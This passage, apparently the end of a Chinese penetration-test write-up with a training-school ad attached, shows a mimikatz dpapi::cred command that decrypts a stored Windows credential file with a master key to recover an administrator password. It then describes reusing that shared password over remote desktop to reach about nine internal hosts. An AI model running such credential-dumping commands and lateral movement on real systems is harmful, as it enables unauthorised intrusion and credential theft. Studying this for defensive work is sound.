因为内容很多,直接把结果复制到记事本
然后搜索一下
太好了,找到了,然后我们直接去破解
mimikatz dpapi::cred
/in:C:\Users\Administrator\appdata\local\microsoft\credentials\xxxxx /masterkey:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
直接获取到了管理员的密码
而且这个密码应该是集团的通用密码,后续发现这个这个内网网段的管理员都是这个密码
远程其他网段的桌面
利用这个密码,横向了大概有 9 台主机
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

